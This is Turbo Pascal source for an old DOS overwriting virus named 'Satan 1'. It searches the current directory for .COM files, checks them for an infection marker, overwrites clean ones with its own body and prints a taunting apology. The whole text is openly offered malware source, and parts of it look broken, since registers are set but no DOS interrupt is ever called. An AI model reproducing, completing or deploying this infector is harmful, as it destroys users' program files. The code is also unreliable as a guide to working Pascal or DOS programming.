{C-}
{U-}
{I-}
Const
  VirusSize=12027;
  Warning:String[42]='This File Has Been Infrected By Satan 1!';
Type
  DtaRec=Record
  Dosnext:Array[1..21] of Byte;
           Attr:Byte;
           FTime,
           FDate,
           FlSize,
           Fhsize:integer;
           FullName:Array[1..13] of Char;
          End;
Registers=Record
  Case Byte of
    1:(AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags:Integer);
    2:(AL,AH,BL,BH,CL,CH,DL,DH:Byte);
  End;
Var
  ProgramStart:Byte;
  MarkInfected:String[42];
  Reg:Registers;
  Dta:DtaRec;
  Buffer:array[Byte]of Byte;
  TestId:string[42];
  UsePath:String[66];
  UsePathLenght:Byte absolute UsePath;
  Go:File;
  B:Byte;

Begin
 Writeln(Warning);
 GetDir(0,UsePath);
 If Pos('\',UsePath)<>UsePathLenght then
   USePath:=UsePath+'*.Com';
   Reg.Ah:=$1a;
   Reg.Ds:=Seg(Dta);
   Reg.Dx:=Ofs(Dta);
   Usepath[Succ(UsePathLenght)]:=#0;
   Reg.Ah:=$4E;
   Reg.Ds:=Seg(UsePath);
   Reg.Dx:=Ofs(UsePath[1]);
   Reg.Cx:=$ff;
   If not odd(Reg.Flags) Then
     Repeat
       UsePath:=DTA.FullName;
       B:=Pos(#0,UsePath);
       If B>0 then
       Delete(UsePath, B, 255);
       Assign(Go, UsePath);
       Reset(Go);
       If IOresult=0 Then
         Begin
           BlockRead(Go, Buffer, 2);
           Move(Buffer[$80],TestID, 43);
           If TestID<>Warning Then
            Begin
              Seek(Go,0);
              markInfected:=Warning;
              BlockWrite(Go,ProgramStart,Succ(VirusSize));
              Close(go);
              Writeln(UsePath + 'Infected.');
              halt;
            End;
           Close(Go);
        End;
         Reg.Ah:=$4f;
         Reg.DS:=Seg(Dta);
         Reg.Dx:=Ofs(Dta);
        Until Odd(Reg.Flags);
     Write('<Smile>');
     Writeln('I have been elected to tell you that the cure to the virus is');
     Writeln('simple.. Buy or rather tell someone to get you a McFa scanner');
     Writeln('8.4 or Higher to get rid of this menace.. I apligise for the inconvinience');
     Writeln('and I hope you will forgive me.. The thrill of doing what could');
     Writeln('be done has motivated me to create this menace.. FORGIVE ME!');
    End.